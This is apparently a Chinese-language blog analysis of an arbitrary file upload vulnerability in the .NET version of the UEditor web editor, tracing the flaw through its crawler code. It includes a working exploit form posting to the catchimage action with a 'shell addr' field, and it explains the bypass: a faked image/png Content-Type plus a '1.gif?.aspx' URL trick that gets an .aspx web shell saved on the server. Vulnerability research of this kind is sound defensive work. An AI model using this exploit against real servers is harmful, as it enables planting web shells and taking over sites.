UEditor编辑器任意文件上传漏洞分析
ue下载地址
http://http://ueditor.baidu.com/website/download.html
exp
<formaction="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"method="POST"><p>shell addr:<inputtype="text"name="source[]"/></p><inputtype="submit"value="Submit"/></form>
![](https://img.haomeiwen.com/i996179/dc077fd719a620f1.png)
我们首先来看一下目录结构
ue是一个典型的net web
bin目录和app_code目录其中bin下面引用的是jsondll 因此这里我们不分析dll
![](https://img.haomeiwen.com/i996179/8b4fc27ac590e0f6.png)
主要还是看app_code目录下面的cs文件 首先随便跟进一个方法看看有没有任意文件上传的可能性
首先看到uploadimages方法
![](https://img.haomeiwen.com/i996179/504f68b03fe803f3.png)
而这里正好是因为引用了上面的dll 所以可以直接加载json
这里第一步先实例化UploadHandler类 然后第二部从json获取各种配置信息 穿给类里面的值
![](https://img.haomeiwen.com/i996179/bc51d48f05f264de.png)
传递完成值后直接开始上传方法
![](https://img.haomeiwen.com/i996179/6b4f22e1bac1d790.png)
然后对上传文件进行判断
![](https://img.haomeiwen.com/i996179/961d5675d2eafff9.png)
我们跟进方法
![](https://img.haomeiwen.com/i996179/7a033e3b963650d7.png)
那么漏洞是怎么形成的呐?
漏洞在CrawlerHandler这个类里面
![](https://img.haomeiwen.com/i996179/0f56d6d86650d322.png)
如果访问则直接判断返回文件的ContentType 这里我们可以直接Content-Type: image/png绕过
![](https://img.haomeiwen.com/i996179/c548b38093369f23.png)
这里先传入source[] 然后实列化Crawler类 我们进入这个class查看 首先通过IsExternalIPAddress方法判断是否是一个可被DNS解析的域名地址
![](https://img.haomeiwen.com/i996179/191d5af09998d2df.png)
那么他文件名是怎么获取的呐?
![](https://img.haomeiwen.com/i996179/fcff70cb776107b4.png)
这里可以很清楚的看见也是SYSTEM.IO里面的个体filename获取最后一个点结尾的 但是我们又不能以.aspx结尾 这里问好就起作用了,再url里面1.gif?.aspx会被默认当成1.gif解析但是传递给我们的文件ext却是.aspx结尾的
所以漏洞由此造成
参考